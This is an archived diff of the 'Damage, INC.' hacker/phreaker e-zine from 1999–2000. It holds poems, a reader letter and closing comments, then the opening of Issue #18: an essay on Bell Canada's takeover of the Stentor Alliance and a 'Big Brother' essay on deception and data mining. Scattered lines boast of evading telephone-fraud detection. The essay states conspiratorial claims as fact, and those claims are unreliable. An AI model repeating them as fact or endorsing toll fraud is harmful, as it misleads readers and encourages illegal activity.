holds. It was from +there, at last, that we emerged to see again the stars." + +Freedom of Thought (Oil painting) by Paul Jaisini, New York 1999 +Text Copyright;Yustas Kotz-Gottlieb +ALL RIGHTS RESERVED +Send private comments to Yustas61@aol.com + + + #$ +%^& + #,, >.. + +&*$))#@) + Alone in the dark .,; + + +here I lay in darkness +here I lay in the corner of my room +the corner beside the window + +I'm alone, I'm frightened, I'm crying +the tears of unhappiness trickle down my cheek almost like the rain drops +that trickle down the same window I can barely see out of on a rainy day in +June + +this room... this room I call obscurity has taken over me +driven me to the path of insanity and wishes not to let me go + +what is there to do? count the time I've been away from it all +the mind lost to simple isolation + +someday there I will escape from here +someday I will be out there somewhere looking out a window +thinking about how much I want to be somewhere else +escape once again + +but for now I'll continue to count the days of darkness, +hope for happiness, and live with the melancholy + + +- written by: The Clone +- August 9, 1999 +- nettwerk.hypermart.net + + +My Great Awakening. + +Until I read your zine, to borrow lyrics from Silverchair, I never knew we +were living in a world that can be so cruel. I never knew we were living in +a world with a mind that could be so small. + +I believed the lies and was wrong for doing so. Blame it on naivete. Blame +it on my own need to believe and unawareness of the world around me. Blame +it on whatever you like. The truth is, I just didn't know the truth about +what is going on. Having read your zine, I'm beginning to learn the hard +facts about the world that I live in. Needless to say, it was difficult to +accept some of the things that you've written about. At first, I didn't want +to believe that the world could be that way. I thought about it for a long +time before I finally realized that things aren't the way I had always +perceived them to be. It wasn't an overnight realization for me. I had to +admit to myself that I was blind. That wasn't an easy thing to do either. +I had to admit that I'd been deceived, mislead and lied to by people that I +trusted without question. For a while, my faith in humanity was shattered. +The knowledge that society was the way you describe it to be, devastated me. +My whole perspective has changed towards the establishment and civilization +as I knew it. Everything has changed. No longer will I just believe what +I'm told and hesitate to ask questions. No longer am I a brainwashed drone, +or "zombie" as you call them. I don't want to be a sheep. And I'm going to +make sure I don't take that route. + +I want to personally thank Damage, INC. for enlightening me. I admire you +guys for what you've written and what you're doing. Some of your zine's +articles are amazing. They've really helped me understand what's happening. +They've really put things into perspective and shown me that things aren't +always the way they seem on the surface. They have forced me to learn that +misinformation exists and it's being spread by people that we're supposed to +trust. I have awakened from my long sleep and begun my transformation into a +thinker, due to reading your words and seriously thinking about them. If it +means anything to you, you've made a big impression on this reader. I'll never +go back to the herd of mindless sheep from whence I came. I won't let society +influence everything that I do, or make me what they want me to be. I won't be +controlled. I won't be censored and I'll continue to read your excellent zine. + +Copyright 1999 Snake Eyes. All rights reserved. + + +Still Damage, INC. + +We'll give you fuel. We'll give you fire. We'll give ya Damage, INC. desire. +Fuck "society", its lies and corruption. +We'll still be around to root out the greedy, corrupt liars. + +We're still in this only for the knowledge and education. +Still not taking bribes. Still not for hire. +And it should be damn straight we won't quit until we've won. + +I'm still writing rhymes and still writing about the group. +Still promoting free thought. +And I'm still here to warn people so they don't get duped. + +We're still thinking, honing our skills and mastering our game. +Still own Bell. +And we're still doing what we want without any shame. + +We still enjoy doing this without any profit. +Still have the same goals. +And we're still doing it with the same Damage, INC. style and wit. + +We're still hardcore, against the grain. +Still have that same, unmistakable biting sarcasm. +We still have nothing to lose and everything to gain. + +We're still putting out information that makes you think twice. +It'll spin your head around so fast it'll damn near break your neck. +Still taking risks and still not ever afraid to roll the dice. + +We're still shocking the system. +Against the establishment. +Still denouncing and condemning them. + +We're still here, poised to attack. +It doesn't matter if we go away for awhile. +We'll always return, back in black. + +We're still kickin' ass and fucking with minds. +And you know it. +Still exposing the truth and dispelling all of the lies. + +We're still using technology to get out our message. +Big Brother can't stop us. +Still mocking the naive that live in their gilded cage. + +Still fighting for our beliefs and making our opinions known. +Still not living in fear. +In these things we know we're not alone. + +We're still keepin' it real in 2000, right on track. +That can't be denied. +And the defiant zombies that try can feel our hell on their backs. + +We're still speaking out and don't care if for that we're hated. +Still out to inform. +And above all else, still Damage Incorporated. +Still. + +Written by THC Phreak ú Damage, INC. (C)opyright 2000. + + +CLOSING COMMENTS - {CLOSING} + +"All hell can't stop us now." - Rage Against The Machine + +This concludes another issue of the Damage, INC. Newsletter. However, there +aren't any real conclusions that I can draw at the end of this particular issue, +since it's such an eclectic mix of articles from different people. Still, it's +good to receive article submissions from our readers and witness the growing +interest surrounding this humble zine. It may not be the official magazine of +the Millennium, but obviously you're still reading it. And because of that +we'll keep on keeping you honest. As always, contributions from our readers are +always appreciated and most welcome. + +Aside from that, there are a few words of advice that I'd like to impart upon +our readership. Don't just read, think. Although Phractal's advice to newbies +should be well taken, it lacks that critical word that means so much and should +never be forgotten from the process. Thinking is the key. It's the cornerstone +of it all, not just in "hacking" and "phreaking". It applies to everything. +And it's so important, that if I neglected to mention it every once in a while +it may end up being ignored. Therefore, I feel that it's almost my duty to +reiterate the importance of thinking from time to time in order to strengthen +the value and necessity of it. Don't just hack away, guess away, try defaults, +copy what you've read in text files, use existing exploits, or follow any set +of instructions. Think. Never be afraid to think and experiment. That's what +leads to discoveries. That's what leads to knowledge. Ultimately, that is how +you will gain experience. It's the path to no longer being classified as a +newbie or neophyte. Thinking is also what allows you to explore. Executing +a utility/program/tool/script doesn't. It is the only thing that will ensure +the flow of new ideas and an influx of intelligent, thinking people in the scene +from the younger generation. Thinkers help the scene. Thinkers create. +Afterall, that's what is needed most. Neglecting to think first before acting +has also been the downfall of many people in the scene over the years. + +We've already written much about followers in the past and how they contribute +nothing. That's obvious though. Just as, it's easy to spot people that never +lead and always follow. To use a cliche, they're a dime a dozen. They are +what you should strive to avoid becoming. Think for yourself. Don't just +follow the leader, regardless of who they may be. Why should someone else +dictate what you think and how you think? Why should someone else govern your +life? Why should they control, while you conform? Why should they lead and +reap the rewards, while you just follow in their footsteps? Think about it. + +Freedom of thought is an individual's greatest asset. Individuality is their +most valuable possession. Don't waste either by becoming a follower. Think +instead of following. As always, the choice is yours my friend. But if you +choose unwisely to ignore these simple words, it's at your own peril. + +Note: We began writing this issue at the end of August 1999 and didn't finish +it until January 2000, so that's the reason there are articles, news and reports +which may seem a little dated to some people. Also, the 2nd anniversary of +the Damage, INC. Newsletter was in September 1999. We had planned to release +this issue then, but were unable to do so due to circumstances that I won't +bother explaining here. + +Addendum: After a long hiatus -- too long -- we're back in black and ready to +fucking attack. Seriously though, we might've been out of the scene for a +while but we're definitely gonna be around well into this new Millennium, doing +what we do, only the way we can. Point blank. You can fucking count on that. +All hell can't stop us now... And if you don't believe it, just sit back and +watch us take things to the next level and beyond. It's what Damage, INC. is +and always has been about. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Quotes: + +Blackie Lawless - "I think our readers should raise a glass and smoke a bowl +in celebration of the 2nd anniversary issue of our zine..." + +Shatazar - "Keep 'em honest." + +THC Phreak - "The Damage, INC. Newsletter is unabashedly, unashamedly itself!" + +BLACKENED - "It's still a lean, mean, spittin' nails, fightin' zine. We're +still around in 2000, kickin' ass and stirrin' up the Canadian scene. I'll +have my *own* kingdom and my *own* queen." (That last line is a somewhat +famous quote, taken from the classic movie, Conan the Destroyer) + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.018 b/textfiles.com/groups/DAMAGEINC/damage.018 new file mode 100644 index 00000000..d2cf6be8 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.018 @@ -0,0 +1,6865 @@ + ____ _____________ ___________ _____ + ____\ |_\_ | _ _ |_\_ | _ | _ |__________ _ _ ___ + | _ | _ | | | | _ | | | | |-| _ | | ______\ | /___ + | | | | | | | | | |____ | ___| | | | |-| \ |zZ! /___ + l______|_____|__|-|__|_____|__/__|___\___|_|_|___|_ ___________ ___________ + | _ | _ | |-| | ___/_ | | _ \_ __/_|_ _ | \_ + D a m a g e , I N C .| | | | | | | |___ | | | | | \_ _/ | | |__/ + | | | ___| | | | | | |--| ___| | | ___| | + N e w s l e t t e r |__|__|___\ |_______|_____|_____|___\ |__|__|___\ |__| + + Volume 2, Issue #18 + (Released: 06/30/00) + + "Monopolize." + + http://surf.to/damage_inc + damage_inc@disinfo.net + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ ADVISORIES - The Stentor Alliance explained. + ¯ Search String: {ADVISORIES} + +þ BIG BROTHER BASHING - Through deceptive means. HRDC's Big Brother Database. + ¯ Search String: {BIG BROTHER} + +þ CONSPIRACIES AND COVERUPS - NWO Part 4: What is FEMA? + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Banking on Greed. Stats Canada will gladly rape you. + ¯ Search String: {GREED} + +þ CROSSED WIRES - An Unauthorized Advertisement for Adbusters Media Foundation. + ¯ Search String: {WIRES} + +þ DAMAGE, INC. REVIEWS - H/P and Security Web Sites. + ¯ Search String: {REVIEWS} + +þ H/P INFORMATION - Bell Call Privacy, Secure Password Selection, HTP Part II. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - Goldeneye, and Helena3. + ¯ Search String: {INTERVIEWS} + +þ NEWS FROM THE TRENCHES - Damage, INC. releases, updates and news. + ¯ Search String: {NEWS} + +þ OBJECTIVE OPINIONS - Commercialism and Zombieism. Lucid Dreaming. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Articles on DDoS attacks, Mitnick, mergers, etc. + ¯ Search String: {REPORTS} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - The Voice of the Monopoly. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's radical closing comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal and +fraudulent acts committed, etc. by our readers. If/how you use the information +included herein is entirely up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be distributed and sold for profit. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, you must *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are hereby +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards and sites only. + + Copyright 2000 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: + +Greetings. If nothing else, this issue will contain some informative, +opinionated articles on monopolies, telecommunications alliances, acquisitions, +mergers, and news regarding the telco/cable/Internet industry. But if those +things aren't of interest to you, there's a vast amount of other information +to read, disseminate, absorb, consider, contemplate, reflect on, regurgitate +and then repeat the entire process until you finally get it right. ;) + +Seriously though folks, we've put together an excellent issue that we think +most people will enjoy reading. And as the zine grows and evolves, along with +our readership, we hope to continue releasing quality issues. I've endured a +hell of a lot in the course of my Editorship. During this past year, I have +faced many obstacles in real life. Many of them affected this zine adversely. +Due to these problems, it became impossible to release issues in a timely +fashion. In fact, at one point I was even contemplating stepping down as the +Editor on a temporary basis. However, I've made the decision to try to overcome +these difficulties, and continue on the current path. Of course, plans can +change, just as people change. And this publication will definitely change. +But no matter what changes are made, you can be rest assured the Damage, INC. +Newsletter will always represent the voice of truth. Also, if I ever decide to +relinquish the Editorship, it will be put in good hands. That being said, I +want to explain a few things and inform you of some of the changes that will +definitely be made in subsequent issues. + +The Damage, INC. Newsletter was originally started as a "local zine". I created +this zine because I was absolutely disgusted by the local BBS scene, and the +local "wannabe hax0rs" it contained at the time. I've long since quit calling +boards in my NPA. The focus and direction of this zine also changed long ago. +No longer are there interrogations of local lamers. And no longer am I a part +of that scene, or even remotely associated with anyone that is. Those early +days and that local shit are behind us. That's the distant past. However, +there are still several other things that I want to change with this zine. The +contents of the next issue will be radically different from this one. Several +sections will be removed entirely. Greater focus will be put on hacking, +phreaking, hacker culture, interviews, news, reports and happenings. Less +general information will be provided. It'll be replaced with more technical +articles. This shift will be swift and fairly dramatic. There will still be +opinions, and a certain amount of creative writing. But the zine will be reborn +and reinvented. Over the years it has already matured greatly. So it isn't +really a question of that. It's a matter of the zine being what I want it to +be, and reflecting my personal interests, as well as the interests of the group. +It's about evolving. I never planned on it staying the same forever anyway. + +The shift in direction which this zine is about to undergo won't be seamless. +It'll be refined from issue to issue. The process of altering the content of a +publication such as this isn't usually a smooth one. Mistakes will probably be +made. And I realize that. Being aware of potential problems, I will attempt to +prepare for them ahead of time and avoid them if possible. I also know that +some of our readers may not like these changes. But we aren't out to please +everyone by releasing something that's so unoriginal, generic and general +content wise that it could be viewed as being a carbon copy of multiple other +existing zines. That isn't our goal. That has never been our goal. That'll +never be the goal of the Damage, INC. Newsletter. We don't try to make everyone +happy. We never have, and never will. We don't follow the trends and go with +the grain. We don't copy what every other zine or group in the scene is doing. +Instead, we've always relied on our own ideas, concepts, projects and present +information in the manner that we choose. We'll continue to do that. In other +words, we don't write about things just because they're popular at the time. +The information has to be relevant and important. Importance takes precedence +over popularity. That is our priority. Rather than relying on publishing what +is popular at the moment, we make decisions based on whether something is +interesting, information and important. We hope to further that goal in the +future by trimming the fat, eliminating the majority of information that's +readily available elsewhere, and concentrating on providing only the most +relevant, useful articles to our readers. + +However, you may not deem everything we report to be important. Again, some +information will only appeal to certain readers. And that's actually good. It +means we haven't fallen into the trap of trying to have mass appeal, acceptance +and a huge audience. Our readership is fairly large, and growing, but this zine +isn't for everyone. Nor will it ever meet everyone's taste. In fact, it may +even disgust some people, and piss them off. That's by design. We don't make +a conscious effort to influence anyone into liking this zine. We don't +apologize for its content. Conversely, we don't go out of our way to get people +to hate it either. We just write what we write, publish what we publish, and do +what we do. Whoever reads it, reads it. Whatever they think about it, whatever +their opinions are about it, are theirs to have. That's our basic philosophy. +Our intention was never to become popular anyway. So, it's perfectly fine for +people to dislike the zine, or the group in general. In the end, the group and +zine will remain, doing what we're doing, only the way Damage, INC. can. It's +classic Canadiana, all wrapped up in a nice, neat package. Well, not really. +But you get the idea. Love it, or don't read it. + +The future is technology -- creating it, finding new ways to use it and explain +it. Along with technology, there's always culture and subcultures. That +involves people, groups, zines, conventions, etc. And of course, surrounding +technology there's also a wealth of news, happenings and proprietary information +to disseminate. That is exactly where our focus will be. + +Monopolize. Believe the lies. Add greed, corruption, then stir and multiply. +Adore Big Brother and of liberty you'll surely despise. Propagandize. Embrace +slavery and help bind its ties. Become their lackeys. Become their paid spies. +Capitalize. Kill the truth. Make sure honesty fades away and dies. Allow +freedom to perish and watch dictatorships rise. Commercialize. Materialize. +Popularize. Ridicule and ostracize. Objectify. Downsize. Desensitize. +Militarize. Victimize. Terrorize. Supervise. Globalize. Denationalize. +Denaturalize. Destabilize. Demoralize. Profitize. Idolize. Deify and +canonize. Lionize. Americanize. Demonize. Brutalize. Exploit, dehumanize +and decivilize. Devitalize. Rape their minds. Labotomize. Zombify. + +Vanquish the cries. Disperse the truth. Kill the liars and vaporize. Disrupt +society and shatter its lies. Truth devours. Information empowers. Sanctify. +Let freedom reign. Break down the barriers, then revitalize. Revolutionize. +Decentralize. Remove from power the ones that dispel the great lies. The ones +we must defy if we're to survive. Decasualize. Testify. Unite to fight the +system. Sensitize. Dehypnotize, then energize. Dematerialize. Decapitalize. +Demilitarize. Qualify and Quantify. Be bold, and be wise. Depolarize. +Organize. Mobilize. Attack and neutralize. Justified and unified. Finalized. +Immortalized. Engage the enemy. Search and destroy. Necrotize. + +Technology, Information, Hacker Culture, Opinions, Canadian Content... What +more could you want? Still fucking the system and fucking with minds in '00. +It's showtime folks. + + +ADVISORIES - {ADVISORIES} +The Stentor Alliance explained. + +If asked, most Canadians wouldn't know how to describe the Stentor Alliance. +They'd have a blank look on their face while they stare at the sky, hoping for +the answer to come to them. Others would perhaps describe it as "an alliance +between all of the independent telephone companies in Canada." Ha. Although +that is a rough description that Stentor gave themselves, it isn't true. In +fact, it isn't even close to the truth. In past Advisories articles, we've +revealed to everyone that BCE and its bloated child, Bell Canada owns all of, or +a significant chunk of every telco in Canada except BCT.Telus. The motive of +this advisory article is to reveal the truth about the Stentor Alliance. + +How did the Canadian telcos describe their Stentor Alliance? "The Stentor +Alliance was formed in 1992 by Canada's leading providers of telecommunications +services. The alliance works with customers across Canada to economically +deliver leading-edge local, national and international telecommunications +services. These companies maintain the world's longest, fully digital +fibre-optic network." That quote was taken directly from the Stentor web site, +bold claims and all. I especially laughed at the "fibre-optic network" claim. +They should have noted that they have more 50 year-old copper lines than any +other country in the world as far as I'm concerned. Line quality on long +distance calls from province to province can be nothing short of terrible. + +Despite their semi-eloquent description, the Stentor Alliance was a sham. It is +because even in 1992, Bell Canada or BCE had majority or total ownership of MTS, +Bruncor (holding company for NBTel), NewTel, MT&T, and Northwestel. That left +BC Tel, Telus, and little IslandTel. Not much of an alliance since one "player" +was so much bigger than the rest. It was no coincidence that Stentor was +headquartered and had many of its important offices and call centers in Ontario, +which is the heart of Bell Canada territory. Plus, Stentor was never anything +more than another name for Telecom Canada. It was fake from the very start. + +What responsibilities was Stentor given by the Canadian Telcos? Firstly, it was +given control of the national network. Here's Stentor's description of the +Canadian telecom network: "The Stentor alliance network includes two +fully-fibre high density (HPR) routes which run in parallel from St. John's to +Victoria. These routes are the main arteries for Canada's long distance +traffic. Whenever information is sent over one route, a mirror image is +simultaneously sent over the other so that in the event of a network disruption, +your call or data still reaches its destination. More than four billion calls +travel this national network annually, and thanks to several layers of +protection, more than 99.9 per cent of them reach their destination on the first +attempt." Obviously that claim cannot be easily verified. However, if you make +a great deal of long distance calls within Canada, you already know it's untrue. + +Below is more information and outrageous boasts regarding the Stentor +"controlled" network garnered directly from their web site: + +"High Performance Routing (HPR) monitors voice traffic and automatically selects +the most efficient transmission path. Essentially, HPR anticipates congestion +and prevents it." + +"Fast Facility Protection (FFP) Cross Links is a self-healing technology that +reroutes traffic and restores services so quickly that customers don't even +realize there was a problem. FFP can send data from one of the network's High +Density Routes to the other via Cross Links typically in 50 milliseconds!" + +"Synchronous Optical Network SONET, a new technology developed to enhance +survivability and performance is also self-healing and adds yet another level of +protection. A series of SONET rings are overlaid upon the network and +interconnect Canadians from coast to coast." + +"Common Channel Signaling System 7 (SS7) is a separate network of high speed +data links. It has the added ability to send signals to monitoring centres in +the event a problem is not corrected within a specified period of time." + +"The International Network Management Centre (INMC) is the network's +Ottawa-based [Bell based] nerve centre. The centre monitors traffic flows +and network performance around the clock. The INMC is divided into two sections: +the National Network Operations Centre, responsible for the voice and image +network; and National Data Network Control which provides surveillance of the +alliance's major data networks such as Dataroute, Datapac, Megastream, and +Hyperstream. The centre ensures everything operates at peak capacity, and +advanced warning systems linked to regional centres across the country alert +technicians to problems, allowing them to respond quickly and prevent +degradations in service." + +Ah yes, Stentor was responsible for the almost infamous Datapac network. It +was the playground of countless hackers and phreaks for many years, and not +restricted to Canadians alone. If you read old text files and zines from the +80s, you'll notice a great amount of information was spread about our beloved +Datapac, and realize how much Canadians and Americans in the h/p scene used +it, and loved it. Datapac is still there. It just isn't as attractive or +interesting to most of the younger generation today that grew up with Internet +access, etc. And so they choose not to explore Datapac and learn about PSNs. +What a shame. + +Stentor also administrated the National Fraud Management Centre (NFMC). More +boasting from the Stentor web site: "The NFMC protects the Stentor alliance +telecommunications network from toll fraud around the clock, seven days a week. +And now your company can take advantage of the NFMC's unparalleled fraud +protection services and experience." + +"Equipped with state-of-the-art fraud-detection software, the NFMC is managed by +the country's leading telephone fraud experts. The NFMC professionals have +long-standing experience in all aspects of fraud control: consulting, training, +auditing, data mining to extract fraud patterns, and project management." + +"Ever vigilant, the NFMC spots suspect calls immediately, triggering responses +that stop fraudsters in their tracks. Detecting problems quickly and taking +action equally as fast are keys to the NFMC's success." + +To summarize all that Bell chest thumping, Stentor is responsible for detecting +abuse of the national telecom system. That includes administrating services +such as dealing with reports of lost or stolen calling cards and other like +services. A toll free Stentor stolen cards number is in the Damage, INC. +Phreaky Field Phreaking List, along with many of their other contact numbers. +To comment on their so-called state-of-the-art fraud-detection software, and +their telephone fraud experts, the only thing I can say is that Stentor and +the NFMC's capabilities in that area are a complete and utter joke. And there +is ample proof that their egotistical boasts are outright lies. But that +isn't the focus of this particular article, and no long-time Canadian phreak +should even require a shred of evidence to prove that to them anyway. They +know they haven't been stopped in their tracks. + +For years, Damage, INC. has been advising people that Stentor is nothing but +another face of Bell Canada. It is more now than ever. If you have read this +article closely, you may have noticed that I've referred to Stentor in the past +tense. That is because the Stentor Alliance is dead. We saw the writing on the +wall long ago when Bell Canada usurped Stentor's deal with MCI WorldCom (read +the Advisory section in Issue #15 of the DIN for details), but now Stentor is +all but done in. This confirmation wasn't easy to find because the Stentor site +has apparently been abandoned, and direct access to the News Releases portion of +their site has been disabled. However, persistent searching enabled me to +discover the final Stentor "Alliance" news release: + + [Bell Canada and TELUS announce new model for national network management] + + OTTAWA - July 6, 1999 - Bell Canada and TELUS today announced that they have + reached agreement on the creation of a new model for managing national network + operations currently performed by Stentor Canadian Network Management (SCNM). + Starting this fall, Bell Canada will provide national operational support + services to TELUS and to Bell's partners, Aliant Inc. (Island Tel, MTT, Newtel + and NBTel), SaskTel and MTS. + This move will be transparent to customers. + + Stentor Canadian Network Management, the central organization created in 1992 + to perform these functions, will be wound down by the end of this year. + Many of SCNM's people and functions will be transferred to Bell Canada and the + other SCNM members. In December, Bell Canada served one-year notice of + termination of the Stentor Connecting Agreement and SCNM Governing Agreement. + The parties then evaluated how best to carry out these functions for the + future. They have come to the conclusion that the new environment calls for a + different model. + + "This new model will preserve the seamlessness of our shared national network, + and provide our companies with a cost-effective approach to managing the + changing networks," said David Southwell, Chief Technology Officer of Bell + Canada. + + "Our goal throughout the transition will be to ensure that these changes will + be completely transparent to our customers" said Ian Mansfield, TELUS Executive + Vice President and President, Wireline. "Customers will continue to benefit + from a national telecommunications network providing unsurpassed reach, service + and reliability." + + Under the agreement, TELUS, Bell Canada and its partners will continue to work + together to honour all contractual obligations to customers and to meet + customer demand. Bell Canada will carry out national network operations support + functions by establishing a series of commercial service agreements with TELUS + and with Bell's partners. Many of the operations functions will continue to be + carried out by the same people, in the same locations, using the same assets as + today. + + For information, contact: + Jean-Charles Doug Strachan Caroline Verboon + Robillard TELUS GPC Communications + Bell Canada 604 432-2663 416 452-4626 (cellular) + 514 918-3617 (cellular) 416 598-0055 + 514 786-3908 + +--- +As you can see, Bell Canada is officially taking over control of Canada's +national telecom system. What a huge surprise. This has been done with the +consent of BCT.Telus; the only telco in Canada that isn't owned by BCE or Bell. + +Despite Stentor's demise, will much really change? Nothing in my opinion. The +only thing that has changed is that the smaller companies that were once +quasi-independent are now totally under the thumb of BCE or Bell Canada. BCE, +through Bell Canada, has been in control of Canada's telecom system for decades. +The recent acquisition of Aliant Inc., along with Telus' merger with BC Tel +made the need for a pseudo-alliance a cumbersome waste of resources for the two +biggest fat cats in Canada. + +The name "Stentor" will likely still be used by Bell, even though the alliance +is dead. Stentor will be like an unburied body. It just won't be an official +governing body anymore. But its name will stick around like the stench of a +rotting corpse. It will live on, even though Stentor is officially dead and +announced to be defunct. + +Now that you have been informed, be advised. If you are talking to someone +"representing" Stentor, you are really talking to the greedy and corrupt folks +at Bell Canada. Once again they've managed to take total, monopolizing control +and in the process fool the uninformed public by usurping power from Stentor, +which was just a front from the beginning. They've done so without any +opposition. In the end, they've proven once more that they are just as much of +a master at the shell game, or name game, as any of the U.S. based telcos. +They're on equal footing with the big boys, south of the border. As for BCE, +they control the whole works from behind a shield of subsidiaries, and are the +epitome of a faceless corporation. They're the masterminds, pulling the strings. +And of course, they answer to no one. The conclusion is an obvious one. Bell +Canada Enterprises (BCE) wins and the Canadian telephone customers lose again. + +A short history of Stentor and Canadian telcos has been provided as a separate +text file that's included with this issue. Read STENBELL.TXT. + +Written by Shatazar ú Damage, INC. (C)opyright 2000. + + +BIG BROTHER BASHING - {BIG BROTHER} +Through deceptive means. + +In past articles, we've explained how Big Brother is known for their monitoring +techniques, and their desire to want to control us. We've shown what they're +about, and how underhanded they are. We've proven that Big Brother exists, +and backed up our claims that they're corrupt to the core. So it shouldn't +be a surprise to read that most of what Big Bro has achieved has been through +deceptive means. By that, I simply mean that deception is their tool of choice. +To them, the end *always* justifies the means. And in this case, the means is +deception, in any shape and any form. The purpose of this article is to +describe some of the ways in which Big Brother is deceptive, and how to avoid +being deceived. We've already discussed their tremendous use of propaganda, +infinite lies, and blatant abuse of technology to spy, control, influence, +brainwash, take and maintain power over "society" in general. However, we are +now going to reveal some of their secrets as to how they're able to learn about +us, and fool us. Deception is one of their greatest weapons, and therefore +I feel it's important to learn as much as possible about how it can be used +to blind, and hide the truth from us. Indeed, it's so powerful that even +intelligent people can unknowingly be deceived when the truth is right in front +of their very eyes. And in this article, I'll prove it. Big Brother deceives +and uses any means necessary to achieve their goals. But we'll expose them +through any means necessary, and show the world what they truly are. + +Big Brother now has the technology to study how our eyes read text. They have +software which enables them to determine how long a person's eyes stay focused +on a particular sentence, or word. They know where the best position to place +a picture in an article is. They know which words are less negative sounding. +They know where to place words so that they'll be skipped and unread, such as +in the last sentence of a paragraph. They've created specialized software, done +testing, research and studies to find out how we read, and how to use that +knowledge against us. + +By this, they're able to release information publicly that's propaganda and +we are none the wiser. They can manipulate statistics through words, so that +it seems more positive than negative. Knowing how our eyes scan a page of +text gives them the power to hide the truth, influence us and manipulate what +our opinions are of what we've read. I've seen this technology in use, and +they admitted that it's used by the government and large corporations already. + +It's all about deceiving the reader and making them unaware of the true meaning +of what they're reading. It's about making them focus on one particular word, +phrase, sentence, chart, diagram or picture and disregarding the rest. It's +about using certain words that seem more positive in nature than ones that +represent the truth. And it's very effective. People unknowingly think the +words they've read mean something else. The reality is that Big Brother is +able to write something and fool them into believing it's to their benefit. +For example, they could write an article on the economy that is seemingly very +positive, but in truth, it shows the gap between the rich and poor increasing. +Or, they could release a document of a study on the environment that seems to +project positive results, when in fact, they're actually negative. It's all +in the wording, word placement, paragraph structure, key phrases, terminology, +and the way we read it. If you skim through it, and naturally skip sentences +or discard words, you will be fooled. It requires careful dissemination and +a high level of comprehension to fully understand the true meaning. Most people +won't check the meaning for words they don't understand. And they'll +misinterpret sentences and entire paragraphs if they can't comprehend them, or +are unable to determine that the phrasing is meant to dupe them. In effect, +they turn lies to truth right in front of your eyes, in black and white. + +Data mining is another deceptive form of technology in that it allows large +corporations to strip unwitting victims of their personal privacy. It's so +widely used that you may not even realize that you've been violated and had +your right to privacy abused. Many Internet companies and other organizations +on the Internet use surveys, application forms, etc. to dupe people into +relinquishing their personal information. It is then sold to various other +companies, such as marketing agencies, or directly to information hungry +corporations and data mining organizations. The government also sells people's +information to all of the above. Statistics Canada is now infamous for forcing +people to answer mandatory surveys (and threatening them with prison if they +don't comply), and then selling that information to data mining companies in +order to profit. And they make a sizeable profit from these illegal, unethical +actions. Huge data mining companies then take the information, sort through it +using special computer software, and in turn sell it to the highest bidder. +They're always eager to get their hands on more data. Usually it's sold to +marketing companies, which then use it to market products and services for their +clients, or sell it again directly to other corporations. It's a vicious cycle +in which the individual's privacy is totally removed and blatantly ignored. + +The individual no longer exists. They're reduced to being just bits of data, +and are treated as such. They're nothing more than a number and a collection of +answers. These companies want to know where to build new locations for their +stores, what people buy, how much they buy, what they usually spend on items, +what the averages and norms are, and how much they're willing to spend, etc. +Hell, Statistics Canada even wants to know what brand of toothpaste people buy. +It may sound ridiculous, or insane, but they actually compile statistics on +that type of information. It's more than just invasive. It isn't just a +violation of privacy. It's sickening. Their actions are despicable and utterly +deplorable. No citizen should be forced to answer those questions. And any +information given to the government, such as on a census form, should be kept +strictly private. It should *never* be given out, or sold to the highest +bidder. And questions that intrude on someone's privacy shouldn't even be +asked in the first place, much less be mandatory and punishable by law. + +There are many other techniques that Big Brother is famous for employing on +the public. The Internet may not be the best, most reliable source of +information, but in the very least it's a starting point. You can search for +previously classified documents, easily and legally. I suggest you read about +some of the projects that the United States, Great Britain, New Zealand and +Canada have been involved in for many years. Read about the NSA, Echelon and +things of that nature and you'll quickly realize just how much power Big Bro +has been allowed to take over the course of the last few decades. + +Obviously the ubiquitous Big Brother also uses other deceptive forms that +weren't mentioned in this article. I'm sure they've been able to implement +types of insidious, anti-privacy technology and techniques into "society" over +the years, and do it so well that nobody that's not working with them is even +aware of it. That's what is really frightening. More than anything else, +that's what has to be exposed. Even though we'll continue to do our best to +reveal Big Bro's techniques, technology, means of deception, etc. we can't be +expected to find out everything. Each individual, and group/small organization +that's opposed to Big Brother's plans, tactics and invasions of privacy, must +strive to find the truth, and share their findings with others. That's the +only way that Big Brother can be shown to the world for what they truly are. +And only then can they be successfully opposed and defeated. + +"Big Brother 2000. Last chance. All aboard..." + +In closing, some of what I've written in this article is riddled with cliches, +rhetoric, common, generalized statements, phrases and even some innuendo. +Admittedly, it may not be as clear as it should be. It may even seem like the +paranoid rantings of an insane man. And some of the words I've chosen to use +may not be the best, or most suitable. However, the message is still important. +Just as, freedom and the right to privacy are important. More than important +enough to be defended and discussed. So, the next time you read an article that +has been written by the government, for the government, or is supported by the +government (or any of Big Brother's agencies), consider what I've written here. 